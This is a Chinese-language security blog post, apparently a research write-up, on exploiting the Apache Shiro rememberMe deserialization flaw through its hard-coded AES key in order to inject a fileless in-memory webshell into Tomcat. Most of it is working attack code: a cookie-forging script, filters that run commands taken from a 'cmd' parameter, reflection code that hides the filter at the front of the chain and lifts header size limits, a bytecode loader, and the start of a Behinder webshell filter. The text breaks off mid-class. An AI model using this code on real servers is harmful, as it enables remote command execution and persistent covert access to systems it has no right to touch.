shiro反序列化写入内存马

shiro反序列化漏洞

漏洞原理

shiro框架中cookie中的rememberMe字段存储的是java序列化后的数据,并且通过AES加密和base64编码后传输,但由于框架中以硬编码的形式存储了AES加密的key,导致了攻击者可以构造恶意的序列化数据,在服务端进行反序列化时造成rce。
影响版本为<1.2.4

漏洞分析

造成漏洞的主要原因还是硬编码造成的,这里就直接对Cookie中rememberMe的解密到反序列化的过程分析一下。
环境:
github 拉一个shiro下来,切到1.2.4版本,直接用idea打开sample-web目录,在idea中配置一个tomcat就好了。

image.png
先从处理rememberMe的入口点分析
org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals这个方法,先打个断点,随便发个包就能触发这个函数。
image.png
跟进一下getRememberedSerializedIdentity函数,取出了Cookie中的rememberMe,并且base64解码。
image.png
跟进convertBytesToPrincipals函数,可以看到这里用的加密算法:AES/CBC/PKCS5Padding
image.png
继续跟进decrypt函数
image.png
这里调用了解密函数cipherService.decrypt,其中的第一个参数encrypted就是rememberMe,第二个参数盲猜就是硬编码的key,为了证明,这里再跟一下。
image.png
返回了AbstractRememberMeManager类中的decryptionCipherKey属性,可以看出是个javaBean,有get肯定有set,
image.png
这里在全局找一下哪里调用了setDecryptionCipherKey,
org.apache.shiro.mgt.AbstractRememberMeManager#setCipherKey
image.png
再全局找哪里调用了setCipherKey
image.png
_DEFAULT_CIPHER_KEY_BYTES_正是aes加密的key
image.png
再回到cipherService.decrypt
image.png
这里取了前16个字节作为iv,并且将去掉前16字节后的数据进行解密,所以这里的iv也是可控的。
image.png
后续就是将解密后java序列化数据一路return。
回到convertBytesToPrincipals函数中,一串deserialize函数,最后发现了readObject()
image.png
image.png
image.png
这里解密的过程就清楚了。
base64->AES(iv为为密文的前16位,key为”kPH+bIxk5D2deZiIxcaaaA==“,加密方式为AES/CBC/PKCS5Padding)->反序列化

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
import sys
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(payload):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(base64.b64decode(payload))
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value



if __name__ == '__main__':
payload1=""
payload=encode_rememberme(payload1)
print("rememberMe={}".format(payload.decode()))

Tomcat内存webshell

tomcat中内存webshell的原理就是通过动态注册的方式,添加Filter或者Servlet,利用处理请求时的doFilter()或者service(),操作request和response,到达无文件落地的webshell。
写内存webshell大致就两步
1.获取tomcat上下文对象
2.通过上下文对象动态注册Filter或Servlet

获取上下文对象

通过这几篇文章,基于Tomcat无文件Webshell研究基于tomcat的内存 Webshell 无文件攻击技术基于全局储存的新思路 | Tomcat的一种通用回显方法研究大概总结了下大佬们的方法,思路大致都是通过分析tomcat中处理request,response的执行栈,找到哪些对象中将request和response作为属性存储了起来,利用反射或其他方法获取到该对象,进而获取到request和response。

  1. 利用org.apache.catalina.core.ApplicationFilterChain#internalDoFilter

image.png
image.png
该类将request和response存进了ThreadLocal,通过反射修改WRAP_SAME_OBJECTtrue,初始化lastServicedRequestlastServicedResponse,可以在之后的请求中通过他们获得requestresponse
但是在lastServicedRequest.set(request)之前,已经执行了filter.doFilter(request, response, this);,并且rememberMe功能就是ShiroFilter的一个模块,所以在反序列化时不能获取到request,在shiro反序列化中是行不通的。

  1. Thread.currentThread.getContextClassLoader()

参考这这篇文章 基于全局储存的新思路 | Tomcat的一种通用回显方法研究,他这里分析的比较长,一直获取到了request对象,主要是用来进行回显的,如果是用来写内存马的话,没有那么复杂,不需要获取到request,只要获取到StandardContext就够了。
简单看一下Thread.currentThread.getContextClassLoader()获取到的内容。
image.png
image.png
获取到了StandardContext的子类TomcatEmbeddedContext

  1. 通过Mbean获取

没有复现成功
tomcat不出网回显连续剧第六集

  1. 通过Spring框架

注册Filter

通过StandardContext

创建一个恶意filer,重写doFilter()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Filter filter=new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
};

通过Thread.currentThread.getContextClassLoader()获取到StandarContext对象。
image.png

1
2
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

分析一下Filter调用的流程
查看执行栈中第一个ApplicationFilterChain的上一条
image.png
filterChain的初始化,调用了的ApplicationFilterChaincreateFilterChain函数
image.png
看一下关键部分的代码
image.png
StandardContext中取出FilterMaps,根据FilterMaps与请求的url的匹配情况,再从StandardContext中取出对应的FilterConfig调用addFilter添加到FilterChain中。
从这里就可以看出来,如果要添加Filter,需要在StandardContext中操作FilterConfigsFilterMaps

接下来添加FilterMapFilterconfigStandardContext中主要依赖这三个方法:
org.apache.catalina.core.StandardContext#addFilterDef
org.apache.catalina.core.StandardContext#addFilterMap
org.apache.catalina.core.StandardContext#filterStart

通过addFilterDef添加FilterDefStandardContext,再通过filterStart添加到FilerConfigs
image.png
filterStart中先清空FilterConfigs,在遍历FilterDefs,生成FilterConfig添加到FilterConfigs中。
具体实现代码

1
2
3
4
5
FilterDef filterDef =new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("yaoa");
standardCtx.addFilterDef(filterDef);
standardCtx.filterStart();

添加FilterMap
添加Filter有两个相关的方法:addFilterMapaddFilterMapBefore,其内部分别调用了this.filterMaps.add(filterMap)this.filterMaps.addBefore(filterMap)
image.png
这里其实用哪个影响都不大,addBefor也不能直接插入到首位,而是插入到insertPoint的位置。
插入FilterMap的实现代码

1
2
3
4
5
FilterMap filterMap=new FilterMap();
filterMap.setFilterName("yaoa");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST));
standardCtx.addFilterMap(filterMap);

从前面createFilterChain中的代码可以看到,是通过遍历FilterMaps来将Filter添加到FilterChain中的,并且Filter本身就是通过链式调用的,所以最好是将恶意的Filter插入到最前面,这里就可以通过控制FilterMaps中的顺序来间接控制FilterChain中的顺序。
这里实现方法也很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//获取filterMaps
FilterMap[] filterMaps=standardCtx.findFilterMaps();
FilterMap[] tmpFilterMaps=new FilterMap[filterMaps.length];
//将恶意Filter移到第一位
int index=1;
for (int i=0;i<filterMaps.length;i++){
if (filterMaps[i].getFilterName()=="yaoa"){
tmpFilterMaps[0]=filterMaps[i];
}else {
tmpFilterMaps[index]=filterMaps[i];
index++;
}
}
for(int i=0;i<filterMaps.length;i++){
filterMaps[i]=tmpFilterMaps[i];
}

image.png
恶意FilterFilterMaps中的第一位,下图为第二次请求时的filterChain。
image.png

还有一个就是后面写脚本的时候发现的,如果同一个Filter注册两次,之后的访问都是报错,必须重启tomcat才会恢复正常,所以需要在注册前检查一下是否已经存在了,避免发送两次payload导致tomcat挂了。
最后完整的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Filter filter=new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
};

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
if(standardCtx.findFilterDef("yaoa")==null){
//添加FilterConfig
FilterDef filterDef =new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("yaoa");
filterDef.setFilterClass(filter.getClass().getName());
standardCtx.addFilterDef(filterDef);
standardCtx .filterStart();
//添加FilterMap
FilterMap filterMap=new FilterMap();
filterMap.setFilterName("yaoa");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST));
standardCtx.addFilterMap(filterMap);

//获取filterMaps
FilterMap[] filterMaps=standardCtx.findFilterMaps();
FilterMap[] tmpFilterMaps=new FilterMap[filterMaps.length];
//将恶意Filter移到第一位
int index=1;
for (int i=0;i<filterMaps.length;i++){
if (filterMaps[i].getFilterName()=="yaoa"){
tmpFilterMaps[0]=filterMaps[i];
}else {
tmpFilterMaps[index]=filterMaps[i];
index++;
}
}
for(int i=0;i<filterMaps.length;i++){
filterMaps[i]=tmpFilterMaps[i];
}
}

通过ApplicationContext

参考动态注册之Servlet+Filter+Listener,这里用的是ServletContext,不过一般情况下可以获取的都是他的子类ApplicationContext
还是用Thread.currentThread.getContextClassLoader()来获取ApplicationContext
从上一种方法中得到的StandardContext中就有该对象
image.png
image.png
但是这里是protected修饰的,需要用反射获取。

1
2
3
4
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
Field applicationContextField=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
ApplicationContext applicationContext=(ApplicationContext) applicationContextField.get(standardCtx);

正常添加Filter的代码

1
2
3
4
FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter("yaoa", filter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

不过这里有一个问题,context.state必须等于LifecycleState.STARTING_PREP,可以用反射修改,添加完后再改回来。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
//修改state
Field stateField=Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardCtx,LifecycleState.STARTING_PREP);


FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter("yaoa", filter);
stateField.set(standardCtx,LifecycleState.STARTED);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);

filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

然后问题又来了
image.png
可以看到,添加完后,filterDefsfilterMaps中都有了新添加的filter,但是filterConfigs中没有,从前面的分析中能看出来,filterChain是遍历filterMaps,然后从filterConfigs中找到对应的filterConfig,才能添加到filterChain中。
这里可以再用一次上个方法中提到的org.apache.catalina.core.StandardContext#filterStart函数,通过filterDefs来生成filterConfigs
image.png
最后再调整一下filterMaps中的顺序,就可以了,最终的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
Field applicationContextField=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext=(ApplicationContext) applicationContextField.get(standardCtx);
if(standardCtx.findFilterDef("yaoa")==null) {
//修改state
Field stateField = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardCtx, LifecycleState.STARTING_PREP);


FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter("yaoa", filter);
stateField.set(standardCtx, LifecycleState.STARTED);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);

filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

standardCtx.filterStart();
//获取filterMaps
FilterMap[] filterMaps=standardCtx.findFilterMaps();
FilterMap[] tmpFilterMaps=new FilterMap[filterMaps.length];
//将恶意Filter移到第一位
int index=1;
for (int i=0;i<filterMaps.length;i++){
if (filterMaps[i].getFilterName()=="yaoa"){
tmpFilterMaps[0]=filterMaps[i];
}else {
tmpFilterMaps[index]=filterMaps[i];
index++;
}
}
for(int i=0;i<filterMaps.length;i++){
filterMaps[i]=tmpFilterMaps[i];
}
}

与shiro反序列化漏洞结合

这里就直接看ysoserial工具中的源码。
利用CommonsBeanutils1这条链子
image.png
跟踪到Gadgets._createTemplatesImpl()_函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

这里用到了javassist,是用来操作java字节码的,这里的作用就是生成了一个AbstractTranslet的子类,并且在static块中注入了恶意代码。
最后将携带恶意代码的abstTransletAbstractTranslet类转换成byte数组的格式,存到templates的_bytecodes属性中。
这里的templates跟一下就可以看出来是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的一个实例。

理论上只要在AbstractTranslet子类的static块中插入注册Filter的恶意代码就可以了。
所以这里就先新建一个AbstractTranslet的子类,并且实现Filter接口(前面为了方便是直接在代码中new Filter()的形式创建的,但是我把它跟shiro结合的时候,发现这么创建不成功,原因不明,所以就这里就改了一下。),再把刚才的注册filter的代码放到static块中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package ysoserial.MyClass;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class Test7 extends AbstractTranslet implements Filter {
static {
try{
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

Filter filter=new Test7();

if(standardCtx.findFilterDef("yaoa")==null){
//添加FilterConfig
FilterDef filterDef =new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("yaoa");
filterDef.setFilterClass(filter.getClass().getName());
standardCtx.addFilterDef(filterDef);
standardCtx .filterStart();
//添加FilterMap
FilterMap filterMap=new FilterMap();
filterMap.setFilterName("yaoa");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST));
standardCtx.addFilterMap(filterMap);

//获取filterMaps
FilterMap[] filterMaps=standardCtx.findFilterMaps();
FilterMap[] tmpFilterMaps=new FilterMap[filterMaps.length];
//将恶意Filter移到第一位
int index=1;
for (int i=0;i<filterMaps.length;i++){
if (filterMaps[i].getFilterName()=="yaoa"){
tmpFilterMaps[0]=filterMaps[i];
}else {
tmpFilterMaps[index]=filterMaps[i];
index++;
}
}
for(int i=0;i<filterMaps.length;i++){
filterMaps[i]=tmpFilterMaps[i];
}
}
}
catch (Exception e){

}
}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void destroy() {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
}

Gadgets._createTemplatesImpl()_中,javassist创建类的代码都删掉,通过ysoserial中提供的ClassFiles._classAsBytes_来将恶意类转成byte数组。
image.png
然后重新编译一下ysoserial。
mvn clean package -Dmaven.test.skip=true
利用ysoserial生成payload,由于刚才改完之后,没有处理传入的cmd命令,所以cmd命令随便输就可以。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 aaaa | base64
将payload放到shiro利用的脚本中,生成cookie,然后起一个vulhub的docker环境,试一下。
image.png
image.png
cookie太大了,超过了tomcat中的限制,这个坑下面再填。

解决“Request header is too large”

这里我找到了两种方法。
1.使用post请求,利用ClassLoader加载body中的恶意类的字节码,创建一个恶意类的实例,触发static块。
2.修改tomcat的maxHeaderSize

加载字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package ysoserial.MyClass;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.python.antlr.ast.Str;
import sun.misc.BASE64Decoder;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/* 加载post中的字节码,绕过header头的限制,依赖spring框架*/
public class Test2 extends AbstractTranslet{

static {
try {
//获得spring中的request对象
javax.servlet.http.HttpServletRequest request=((org.springframework.web.context.request.ServletRequestAttributes)org.
springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
Field r =request.getClass().getDeclaredField("request");
r.setAccessible(true);
javax.servlet.http.HttpSession session=request.getSession();
//获得post的字节码,并base64解码
String c=request.getParameter("c");
byte[] classBytes=new BASE64Decoder().decodeBuffer(c);
//利用反射,加载字节码,创建恶意类。
Method deLoder=ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{ byte[].class, int.class, int.class});
deLoder.setAccessible(true);

Class cc=(Class) deLoder.invoke(Test2.class.getClassLoader(),classBytes,0,classBytes.length);
cc.newInstance();

//java.lang.Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
catch (Exception e){
System.out.println("e");
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}
}

这里用了一下spring框架,理论上不用也可以,可以利用之前提到的方式获取request对象,但是代码太长了,放到cookie里还是太大。

修改一下Gadgets中的代码,
image.png
重新编译,获得payload,再放到shiro利用的脚本中,获得cookie。
再把注册filter的类编译,获取它的字节码,base64编码后放到c字段中。
image.png
执行命令
image.png

修改size

参考Tomcat的一种通用回显方法研究,Shiro 550 漏洞学习 (二):内存马注入及回显
影响请求头大小限制的是RequestinputBufferorg.apache.coyote.http11.AbstractHttp11ProtocolmaxHeaderSize的大小会影响新创建的inputBuffer
这里看源码实在看不懂这几个的关系,直接动态调试一波。
通过@Litch1的思路,获取到requestGroupInfo,一个存储requestInfo的list。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);


org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
Field appcontextFiled=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
appcontextFiled.setAccessible(true);
ApplicationContext applicationContext=(ApplicationContext) appcontextFiled.get(standardCtx);
Field standardServiceField=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService=(StandardService)standardServiceField.get(applicationContext);
Connector[] connectors=standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
}
}
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(100000);
}
}
}

这里打个断点调试,第一次请求时,requestGroupInfo的size是1,并且尝试多次后,requestGroupInfo中都是Requestinfo@6329Request@6341Http11InputBuffer@6355,虽然下面修改了MaxHeaderSize,但由于inputBuffer复用的原因,headerSize也没有变。
image.png
image.png
如果在进入到断点后,在程序进入下一步前再发送一次请求。之后每次进入断点时,requestGroupInfo的size变成了2,并且新建了有一个inputBuffer,新inputBufferheaderSize是修改后的maxHeaderSize,这个时候就没有cookie大小的限制了,所以这种方法还需要结合并发去实现。
image.png
image.png
但是这块我理解的是,因为只有新建的inputBuffer是没有限制的,并不能保证之后的请求都是通过新建的inputBuffer,比如我后面随便一条带命令的请求,还是由没有修改之前的inputBuffer处理的,如果要找到新建的inputBuffer,可能还需要通过并发的方式,这种方式并不完美。
image.png
image.png
所以考虑在修改maxHeaderSize的情况下,遍历requestGroupInfo,直接修改每条inputBuffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
getHandlerMethod.setAccessible(true);
requestField.setAccessible(true);
headerSizeField.setAccessible(true);

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
Field appcontextFiled=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
appcontextFiled.setAccessible(true);
ApplicationContext applicationContext=(ApplicationContext) appcontextFiled.get(standardCtx);
Field standardServiceField=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService=(StandardService)standardServiceField.get(applicationContext);
Connector[] connectors=standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for(int k=0;k<list.size();k++){
Request r=(Request)requestField.get(list.get(k));
headerSizeField.set(r.getInputBuffer(),100000);
}
}
}
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(100000);
}
}
}

之后所有的inputBuffer都是修改过的size。

适配冰蝎

参考冰蝎自带服务端,这里改一下使其适配Filter。利用动态二进制加密实现新型一句话木马之Java篇

冰蝎自带服务端
image.png
冰蝎的原理跟 解决“Request header is too large” 时使用的动态加载字节码的方式很类似。不过这里没有用反射,直接继承了ClassLoader,然后调用父类中的defineClass()方法。
而且也没有用那个文章里说的get握手的过程,直接将密码作为AES加密的key。通过pageContext,使恶意类获得requestresponsesession对象。
直接反编译冰蝎的jar包,看一下最新版本的内部是怎么实现的。
image.png
每个payload中,都是用fileContext()去处理传入的参数,这里跟一下这个函数。
image.png
这里可以看出来了,这个版本的冰蝎不只可以用PageContext来传递request对象,也可以用存储了requestresponsesession的Map来存储。所以把自带服务端的pageContext改成一个存储了request等的Map,传入equals()函数。
下面是具体Filter的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package ysoserial.MyClass;


import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.*;

public class BehinderFilter extends ClassLoader implements Filter {
static {
try{
